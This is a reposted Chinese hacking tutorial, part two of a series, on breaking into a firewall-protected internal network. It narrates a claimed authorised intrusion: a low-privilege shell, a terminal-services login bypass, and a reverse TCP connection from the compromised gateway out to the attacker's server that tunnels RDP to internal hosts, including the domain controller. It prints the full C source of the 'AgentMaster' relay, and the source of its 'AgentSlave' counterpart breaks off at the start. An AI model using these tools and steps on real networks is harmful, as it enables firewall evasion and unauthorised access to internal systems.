突破TCP-IP过滤-防火墙进入内网(二)
(注:本站转载这篇文章旨在希望通过这篇文章来如何预防来自网络的危险,并不鼓励读者去做相应的破坏活动,特此声明)
作者:eyas
第二部分:利用TCP socket转发和反弹TCP端口进入有防火墙保护的内网
事实上很多内网没有第一部分所说的那么简单啦,我们来看一个有防火墙保护的内网,前提是这个防火墙对反弹TCP端口不做限制,限制了的话,又另当别论了。假设网络拓扑如下:
sever-firewall-Ethernet-攻击者
上面的网络拓扑是我在一次对朋友公司网站授权入侵过程中遇到的。
我自己处于公司内网192.168.0.2,通过公司网关202.1.1.1到Internet,但我是网关的admin:)。
敌人[其实是friend啦]的网关OS是2k adv server,在外网网卡上做了TCP/IP限制,只开放了25,53,80,110,3306这几个TCP PORT,通过一个漏洞,我得到了一个shell,可以通过IE来执行系统命令,虽然权限很低。网关有终端服务,登陆验证漏洞补丁未安装,但输入法帮助文件已经被删除了,但是我们可以通过shell把输入法帮助文件upload上去,因为他的系统权限没有设置好,我们可以写,呵呵。这样的话,我们只要能够连接到他的终端服务上去,我们就能绕过登陆验证,得到admin权限了。如何连接?有办法,用TCP socket转发。和第一部分说的一样吗?有些不同。因为他做了TCP/IP限制,我们不能连接他,只能让他来连接我们了,TCP反弹端口,呵呵。
攻击流程如下:
在我的服务器202.1.1.1运行AgentMaster,监听TCP PORT 12345,等待202.2.2.2来连接,监听TCP PORT 3389,等待我192.168.0.2连接。
在敌人网关机器202.2.2.2运行AgentSlave,连接到202.1.1.1 TCP PORT 12345[注意:是反弹端口,TCP/IP过滤也拿他没办法]
我自己192.168.0.2用TermClient连接到自己的服务器202.1.1.1:3389
敌人网关上的AgentSlave连接到自己本身在内网的IP==>192.168.1.1:3389
数据通道就建立好啦。两个代理忠实的为我们转发数据,呵呵。当我们连接自己服务器的3389,其实出来的是敌人内网的某台机器,呵呵。
后来发现敌人的主域控制器是192.168.1.4,通过前面与他网关建立的连接,利用一个漏洞轻易的取得主域的admin权限,呵呵。他可能认为主域在内网,网关又做了TCP/IP过滤,攻击者没有办法进入。我只要把AgentSlave设置为连接192.168.1.4:3389,以后就可以直接连接他的主域控制器啦,不过在网关登陆也一样。
程序代码如下[程序中所用到的TCPDataRedird.c已经贴在第一部分,那个文件做数据转发,通用的]:
/****************************************************************** Module Name:AgentMaster.c Date:2001/4/16 CopyRight(c) eyas 说明:scoket代理主控端,负责监听两个TCP socket, 等待攻击者和AgentSlave来连接,两个 scoket都连接成功后,开始转发数据 sock[0]是client==>sock[0] sock[1]是target==>sock[1] ******************************************************************** #include #include #include "TCPDataRedird.c" #pragma comment(lib,"ws2_32.lib") #define TargetPort 3389//伪装的target的监听端口 #define LocalPort 12345//等待AgentSlave来connect的端口 int main() { WSADATA wsd; SOCKET s3389=INVALID_SOCKET,//本机监听的socket,等待攻击者连接 s1981=INVALID_SOCKET,//监听的socket,等待AgentSlave来连接 sock[2]={INVALID_SOCKET,INVALID_SOCKET}; struct sockaddr_in Local3389,Local1981,Attack,Slave; int iAddrSize; HANDLE hThreadC2T=NULL,//C2T=ClientToTarget hThreadT2C=NULL;//T2C=TargetToClient DWORD dwThreadID; __try { //load winsock library if(WSAStartup(MAKEWORD(2,2),&wsd)!=0) { printf(" WSAStartup() failed:%d",GetLastError()); __leave; } //create socket s3389=socket(AF_INET,SOCK_STREAM,IPPROTO_IP); if(s3389==INVALID_SOCKET) { printf(" socket() failed:%d",GetLastError()); __leave; } //create socket s1981=socket(AF_INET,SOCK_STREAM,IPPROTO_IP); if(s1981==INVALID_SOCKET) { printf(" socket() failed:%d",GetLastError()); __leave; } //fill the struct Local3389.sin_addr.s_addr=htonl(INADDR_ANY); Local3389.sin_family=AF_INET; Local3389.sin_port=htons(TargetPort); Local1981.sin_addr.s_addr=htonl(INADDR_ANY); Local1981.sin_family=AF_INET; Local1981.sin_port=htons(LocalPort); //bind s3389 for attacker if(bind(s3389,(struct sockaddr *)&Local3389,sizeof(Local3389))==SOCKET_ERROR) { printf(" bind() failed:%d",GetLastError()); __leave; } //listen for attacker to connect if(listen(s3389,1)==SOCKET_ERROR) { printf(" listen() failed:%d",GetLastError()); __leave; } //bind s1981 for AgentSlave if(bind(s1981,(struct sockaddr *)&Local1981,sizeof(Local1981))==SOCKET_ERROR) { printf(" bind() failed:%d",GetLastError()); __leave; } //listen for AgentSlave to connect if(listen(s1981,1)==SOCKET_ERROR) { printf(" listen() failed:%d",GetLastError()); __leave; } //socket循环 while(1) { //wait for AgentSlave to connect iAddrSize=sizeof(Slave); sock[1]=accept(s1981,(struct sockaddr *)&Slave,&iAddrSize); if(sock[1]==INVALID_SOCKET) { printf(" accept() failed:%d",GetLastError()); break; } printf(" Accept AgentSlave==>%s:%d",inet_ntoa(Slave.sin_addr), ntohs(Slave.sin_port)); //wait for Attacker to connect iAddrSize=sizeof(Attack); sock[0]=accept(s3389,(struct sockaddr *)&Attack,&iAddrSize); if(sock[0]==INVALID_SOCKET) { printf(" accept() failed:%d",GetLastError()); break; } printf(" Accept Attacker==>%s:%d",inet_ntoa(Attack.sin_addr), ntohs(Attack.sin_port)); //创建两个线程进行数据转发 hThreadC2T=CreateThread(NULL,0,TCPDataC2T,(LPVOID)sock,0,&dwThreadID); hThreadT2C=CreateThread(NULL,0,TCPDataT2C,(LPVOID)sock,0,&dwThreadID); //等待两个线程结束 WaitForSingleObject(hThreadC2T,INFINITE); CloseHandle(hThreadC2T); CloseHandle(hThreadT2C); closesocket(sock[0]); closesocket(sock[1]); }//end of socket while }//end of try __finally { //clean all if(s3389!=INVALID_SOCKET) closesocket(s3389); if(s1981!=INVALID_SOCKET) closesocket(s1981); if(sock[0]!=INVALID_SOCKET) closesocket(sock[0]); if(sock[1]!=INVALID_SOCKET) closesocket(sock[1]); if(hThreadC2T!=NULL) CloseHandle(hThreadC2T); if(hThreadT2C!=NULL) CloseHandle(hThreadT2C); WSACleanup(); } return 0; } /********************************************************************** Module:AgentSlave.c Date:2001/4/17 Copyright(c)eyas HomePage:www.patching.net 说明:这个程序负责连接最终目标,连接主控端,然后转发数据 这里连接到AgenrMaster的socket相当与sClient==>sock[0], 连接到最终目标的socoket是sTarget==>sock[1] *********************************************************************** #include- 最新评论